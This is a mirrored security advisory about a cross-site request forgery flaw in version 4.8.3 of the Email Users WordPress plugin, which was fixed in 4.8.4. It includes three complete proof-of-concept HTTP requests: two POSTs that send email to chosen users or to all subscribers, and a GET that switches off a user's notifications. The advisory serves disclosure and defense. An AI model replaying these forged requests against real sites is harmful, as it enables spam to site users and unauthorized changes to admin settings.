Lucene search
K

WordPress Email Users 4.8.3 Cross Site Request Forgery

🗓️ 15 Aug 2016 00:00:00Reported by Securify B.V.Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

WordPress Email Users 4.8.3 Cross-Site Request Forgery vulnerability allows attackers to send arbitrary email messages to any addres

Code
`------------------------------------------------------------------------  
Cross-Site Request Forgery vulnerability in Email Users WordPress Plugin  
------------------------------------------------------------------------  
Julien Rentrop, July 2016  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
It was found that the Email Users WordPress Plugin is vulnerable to  
Cross-Site Request Forgery. By using this issue it is possible for an  
attacker to send arbitrary (bulk) email messages to any address. In  
order to exploit this issue, an attacker needs to lure a target user  
into clicking a specially crafted link or visiting a malicious website  
(or advertisement).  
  
------------------------------------------------------------------------  
OVE ID  
------------------------------------------------------------------------  
OVE-20160718-0001  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
This issue was successfully tested on Email Users WordPress Plugin  
version 4.8.3.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
This issue is resolved in Email Users version 4.8.4.  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_vulnerability_in_email_users_wordpress_plugin.html  
  
The email users admin page has admin pages for;  
  
- Send to individual user(s)  
- Send to group of users  
- Settings  
  
These functions can all be triggered using a CSRF attack. These functions can get executed when a logged on admin user gets triggered in to opening a page the attacker controls. Especially the option to send mails to groups of users is interesting for an attacker. In order to exploit this issue, an attacker needs to lure a target user into clicking a specially crafted link or visiting a malicious website (or advertisement).  
Proof of concept  
  
As you can see in all messages there is not a WordPress nonce (or other kind of CSRF token) present. This makes the CSRF possible. The cookie values should be replaced by the values of a logged on admin user. Most unneeded headers/params are stripped in the examples.  
Send to individual user(s)  
  
See below the example message. The attacker can fill in the various fields such as body of the mail. For verification check if the response contains "<p>Email sent to" (followed by nr of users). As user id's are just sequential numbers an attacker can send a list of id's. The "%5B%5D" part is url encoded form of [], so it's also possible to send in a list of user id's at once.  
  
POST /wp-admin/admin.php?page=mailusers-send-to-user-page HTTP/1.1  
Host: <target>  
Content-Length: 157  
Content-Type: application/x-www-form-urlencoded  
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;  
Connection: close  
  
send=true&fromName=wordpress&fromAddress=sumofpwn%40mailinator.com&mail_format=html&send_users%5B%5D=2&subject=test&mailcontent=test&Submit=Send+Email+%C2%BB  
  
Send to group of users  
  
See above. Here the send_targets param is used to send to the role-subscriber users.  
  
POST /wp-admin/admin.php?page=mailusers-send-to-group-page HTTP/1.1  
Host: <target>  
Content-Length: 257  
Content-Type: application/x-www-form-urlencoded  
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;  
Connection: close  
  
send=true&fromName=other&fromAddress=other%40mail.com&group_mode=role&mail_format=html&send_targets%5B%5D=role-subscriber&subject=Subject+mail+to+all+subscribers&mailcontent=%3Cstrong%3EMessage+mail+to+all+subscribers%3C%2Fstrong%3E&Submit=Send+Email+%C2%BB  
  
Settings  
  
The following requests turns off noticiations for user id 1. Other modifications are also possible. Note; this is a bit different from previous requests since this is GET instead of POST.  
  
GET /wp-admin/admin.php?page=mailusers-user-settings&action=notifications_off&user%5B%5D=1 HTTP/1.1  
Host: <target>  
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;  
Connection: close  
  
  
------------------------------------------------------------------------  
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation